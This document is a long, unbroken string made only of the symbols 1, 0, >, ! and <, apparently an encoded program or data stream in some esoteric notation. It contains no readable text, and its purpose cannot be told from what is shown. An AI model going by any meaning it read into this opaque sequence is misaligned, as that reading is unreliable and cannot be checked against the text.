1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1>01010111>01!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1010>01>0>1!<>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1010>01010>01010>01>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1>0>1!1010>01>0>1!<>1!1>0>1!1>0>1>0>1010>01>0>1!<>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!<>1010>01>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1!1>0>1>0>1!1!1!1010>01>0><>1!1!10110>1!1!1!1!1!<>1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>010110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01>0>1!<>1!10110>1!10110>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>010110>1!1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110><><>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1>0>1>0>1!<>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!<>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1!1>0>1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1!10110><>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!<1010111>01!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>10110>10110>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>01010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!<>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!1!1010>01010>01010>01>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1>0>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1>0>1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>01010111>01!1>0>1!1!1!1>0>1!101101010111>01!1!1!1>0>1!1!1!101101010111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>10110>1!1>0>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!10110>1!1>0><>1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0><>1!1!1!1!10110>1!1!1!1010>01>0>1!1>01010111>01>0>1!1!10110><>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!<>1!1!1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1!1>0>1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1!1>01010111>01>0><>1>0>1!1>0>1>0>1!1010>01>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0><>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>01010111>01!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!101101010111>01>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1!1010>01010>01010>01>0>1!1>0>10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>01010111>01!1!1!1>01010111>10111>01>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110><>1>0>1!10110>10110>1!1>0>1!1>01010111>01>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0><1010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0><>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>01010111>01!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>101101010111>01>0>1!1!1010>01>0>1!1!<>1>0>1!1!1>0>1!<>1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>101101010111>01>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!<>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1010>01>0>10110>1!1!1!1!1>0>1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1>0>1!<>1!1!101101010111>01!1!1!1>0>1!1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!1!1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1!1!1>0>1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01010>01010>01>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01010>01010>01>0>10110>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1>0>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!<>1!10110>1!101101010111>01!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1!<>1>0>101101010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!10110>1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1!1!1!1!1>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>101101010111>01>0>1!<>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!<>1>01010111>01!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1>0>1>0>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!1!1>0><>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>01010111>01>0><>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0><>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>10110>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1>0><>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>01010111>01!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!<>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1010>01010>01010>010110>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>01010111>01!1!1!1>01010111>01>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1!1!1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1>0>1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1010>01>0>1!1>0>1!<>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!10110>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1>01010111>0101101010111>01!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1010>01>0>1!1!1>0>1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!10110>10110>1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1010>010110>1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1>0>1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!10110>1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>01010111>01!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1010>01>0>1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1010>010110>1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1010>01>0>1!1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>101101010111>01>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>1!1>0><>1!1!1>0>1!1!1>0><>1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1010>01>0>1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1010>01>0>1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>10110>1!1>0>1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>10110>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!<><1010111>0<>1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0><>1!1>0>1010>01>0>1>0>1!1!1!1!1!1!1!<1010111>01010>01>0>1>0>1!<>1>0>1!1!1!1>0>1>01010111>01!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0